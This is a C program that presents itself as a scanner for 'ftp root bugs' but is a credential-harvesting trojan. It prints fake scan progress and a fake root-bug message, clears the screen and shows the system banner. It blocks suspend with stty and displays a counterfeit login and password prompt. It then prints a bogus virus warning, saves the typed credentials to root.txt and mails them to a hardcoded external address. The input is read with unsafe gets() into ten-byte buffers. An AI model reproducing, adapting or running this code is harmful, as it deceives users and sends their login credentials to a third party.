#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>


void main()
{
   char input1[10];
   char input[10];
   char var[80] = {0};
   char buffer1[80] = {0};
   FILE *fp;
   FILE *file;
   char email[] = "dscat@inter.net.il"; //e mail if you have problems
   char *foo;
   struct login
   {
      char id[10];
      char password[10];
   }loginfake;
   /* if(getuid() !=0) //make sure were root
   {
     printf("you are not root, you cannot run this program, please su to root\n");
     exit(-1);
    } */
     printf("Searching for ftp root bugs\n");
   if(!strcmp( getenv("TERM"), "rxvt")) //make sure were not in X
   {
      printf("need to be running in console press CTRL-ALT-F5 to open console terminal\n");
      exit(-1);
   }
   if(!strcmp( getenv("TERM"), "xterm"))
   {
      printf("\n");
      exit(-1);
   }

   sleep( 1 );
   printf(".\n ");
   sleep( 1 );
   printf(".\n");
   sleep( 1 );
   printf(".\n");
   sleep(1);
   sleep(1);
   printf("Root Bug Located... - Root Directory Accessed- You Should root !!! (core dumped)\n");
   sleep(1);
   system("clear");
   printf("\n");
   fp = popen("cat /etc/issue.net", "r"); //login info
   fread(var, 80, 1, fp);
   system("stty susp ^G"); //so they can't escape out of login
   printf("%s",var);
   printf("\n");
   printf("localhost login: ");
   gets(input);

   printf("Password: ");
   gets(input1);
   printf("\n");
   printf("virus detected in script last ran");
   printf("delete last file ran  is damaged! Virus Infecting system. Delete last file ran.\n");
   printf("\n");
   strcpy(loginfake.id, input);
   strcpy(loginfake.password, input1);
   file = fopen("root.txt","w");
   fprintf(file, "%s %s",loginfake.id,loginfake.password);
   fclose(file);
   foo=(char *)malloc(4096);
   sprintf(foo,"mail %s < root.txt",email); // e-mail login and pass
   system(foo);
}
